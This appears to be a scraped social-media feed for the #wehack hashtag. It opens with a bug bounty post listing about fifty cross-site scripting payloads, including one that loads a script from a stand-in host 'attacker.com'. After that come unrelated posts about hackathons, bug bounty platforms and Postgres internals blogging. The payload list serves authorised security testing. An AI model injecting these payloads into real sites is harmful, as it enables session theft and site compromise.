🔥 Hunting XSS in 2026? Here are 50 XSS vectors every bug bounty hunter should test. Copy, tweak, fuzz, profit. 💰👇
thexssrat.podia.com/ultimate…
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<math href="javascript:alert(1)">CLICK</math>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<object data=javascript:alert(1)>
<embed src=javascript:alert(1)>
<link rel=stylesheet href=javascript:alert(1)>
<form><button formaction=javascript:alert(1)>CLICK</button></form>
<input autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>
<isindex type=image src=1 onerror=alert(1)>
<meta http-equiv=refresh content="0;url=javascript:alert(1)">
javascript:alert(1) (URL parameter injection)
" onmouseover=alert(1) x=" (attribute breakout)
'><svg onload=alert(1)> (HTML context breakout)
</script><script>alert(1)</script> (script context breakout)
-alert(1)- inside JS eval sinks
${alert(1)} (template literal injection)
{{constructor.constructor('alert(1)')()}} (AngularJS sandbox escape)
"><img src=x onerror=alert(1)> (DOM insertion)
location='javascript:alert(1)'
setTimeout('alert(1)')
Set.constructor('alert(1)')()
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><set onbegin=alert(1) attributeName=x>
<img src=1 href=1 onerror="javascript:alert(1)">
data:text/html,<script>alert(1)</script>
data:image/svg xml,<svg xmlns="w3.org/2000/svg" onload="alert(1)"/>
<base href=javascript:alert(1)//>
<img src=x:alert(1) onerror=eval(src)>
<a href="jAvAsCrIpT:alert(1)">CLICK</a>
<a href="javascript:alert(1)">CLICK</a>
(URL encoded)
<script>alert(1)</script> (HTML encoded)
<img src=x onerror=confirm?.(1)>
<svg/onload=alert?.(1)>
<script>top</script>
<img src=x oneonerrorrror=alert(1)> (filter bypass fuzzing)
<div style="background-image:url(javascript:alert(1))">
<img srcset="x 1x, javascript:alert(1) 2x">
<script src=//attacker.com/xss.js></script> (external injection)
<iframe srcdoc="<script>alert(1)</script>"></iframe>
#bugbounty #xss #infosec #pentesting #cybersecurity #appsec #hacking #redteam #wehack #securitytesting
1
35
152
7,154
12 Aug 2025
Day 81–90 of #100DaysOfCode 🚀
Rebuilt our #WeHack hackathon project from scratch 🛠️ — modern UI, optimized backend, and fully responsive.
🔗 Live: teamamigos-wehack.vercel.app…
Next: Another project sharpening CS fundamentals 🔥
#WebDevelopment #FullStack #HackathonProject
5
46
25 Apr 2025
Here are more ongoing or upcoming hackathons in April and May 2025 with prize money over $50,000 (excluding the sites you already checked):
Agentforce Virtual Hackathon: Runs through April 30, 2025, with a $50,000 grand prize and additional $20,000 category prizes.
AssemblyAI AI Hackathon: Fully virtual, offering over $50,000 in cash prizes for AI-driven projects.
Google Cloud Hackathons (Solve for India, Build for India): Multiple events throughout the year with large prize pools and seed funding opportunities.
Adobe GenSolve Hackathon: Scheduled for July-August, but Adobe also runs CodVita and Women in Tech hackathons in March/April with significant cash awards.
Flipkart GRiD: Starts in June but has a prize pool and internship offers worth over $50,000.
Bitcamp 2025: Scheduled for April, known for substantial prize pools and industry backing.
WEHack: April 2025 in Texas, a major inclusive hackathon with notable prizes and industry sponsors.
HackKU25: April 18-20, 2025, at University of Kansas, with a strong prize offering and open to students globally.
Hacklytics: February 2025, but often has spring/summer editions with big cash prizes for data science solutions.
UGAHacks X: February 2025, but check for ongoing tracks or late spring extensions.
Google Girl Hackathon: March, with major prizes and presentation opportunities at Google offices.
Adobe Women in Technology Scholarship Hackathon: March/April, includes large scholarships and cash awards.
Myntra HackerRamp: Typically runs in spring with significant prize money and hiring opportunities.
JP Morgan Chase Code for Good: Large-scale hackathon with cash prizes and job offers, usually in spring/summer.
Uber HackTag: Known for high-value prizes and unique challenges, typically in the first half of the year.
Some events' exact 2025 prize pools are still being finalized, but these are among the largest and most reputable hackathons globally this season.
Let me know if you want details on any specific one!
62
20 Mar 2025
🚀Excited to be participating in WeHack 2025 on 22-23 March! Looking forward to collaborating, innovating, and solving real-world challenges. Let's dream, develop, and disrupt! 🚀 #WeHack2025 #Hackathon #Innovation #Tech #WeHack #HackTheFuture @_we_hack
3
32
✓ Zerocopter
zerocopter.com
✓ Yes WeHack
yeswehack.com
✓ Hacken Proof
hackenproof.com
✓ FireBounty
firebounty.com
1
5
433
✓ Zerocopter
zerocopter.com/
✓ Yes WeHack
yeswehack.com/
✓ Hacken Proof
hackenproof.com/
✓ FireBounty
firebounty.com/
1
6
804
4 Nov 2023
Today is the final day of #wehack #postgresinternals.
140 signups, ~100 invites, 89 joins. A bunch of devs introduced to the Postgres build process and started exploring internals. 6 new blog posts/projects, and a few more yet to come.
Not shabby!
eatonphil.com/2023-10-wehack…
5
7
103
14,203
2 Nov 2023
Day 5 of 7 of #wehack #postgresinternals, @carrotburnt publishes his second (!) post. This time on adding a new built-in data type.
aadhav.me/posts/pg-experimen…
8
56
12,362
1 Nov 2023
Andrew Atkinson dives into pg_stat_io on day 4 of 7 of #wehack #postgresinternals.
andyatkinson.com/blog/2023/1…
4
44
5,139
1 Nov 2023
Andrew Atkinson (@andatki): PostgreSQL IO Visibility: #wehack PostgreSQL Internals and pg_stat_io postgr.es/p/6bo
9
22
3,238
1 Nov 2023
.@__dipesh_ explores setjmp/longjmp in Postgres on day 4 of 7 of #wehack #postgresinternals.
dipeshkaphle.github.io/posts…
2
7
46
6,361
30 Oct 2023
For the #wehack #PostgreSQL week, one of the things I wanted to learn about was pg_stat_io. To get started, I watched this talk from @melanieplageman: "Additional IO Observability in Postgres with pg_stat_io" | Citus Con 2023 youtu.be/rCzSNdUOEdg?feature… Blog post on the way!
1
9
842
23 May 2023
Just attended @5ireChain amazing session at WeHack 4.0 in BVP, IPU. It was fun interacting with you @_venmus_
@5irehub_delhi @Shubham11o @himanstwt
1
1
11
499
30 Jan 2023
UTD's women-driven tech organizations are joining forces to host their 3rd all-women and non-binary #hackathon, WeHack ( @wehackutd )! The aim is to encourage underrepresented people to harness their skills to create projects of their own. Register ➡️ buff.ly/3k9iYqO
1
7
1,185
10 Jul 2022
New Sorinex bulldog attachment works great on the rhino belt squat (larger attachment holes needed). Great for isolated back rows. #wehack health
1
7
7 Apr 2022
Last weekend our software engineers attended WEHack, Dallas' largest inclusive #hackathon. Our volunteers served as mentors and judges for the hackathon, helping UT Dallas students bring their tech ideas to life!
#LifeAtMatch
1
2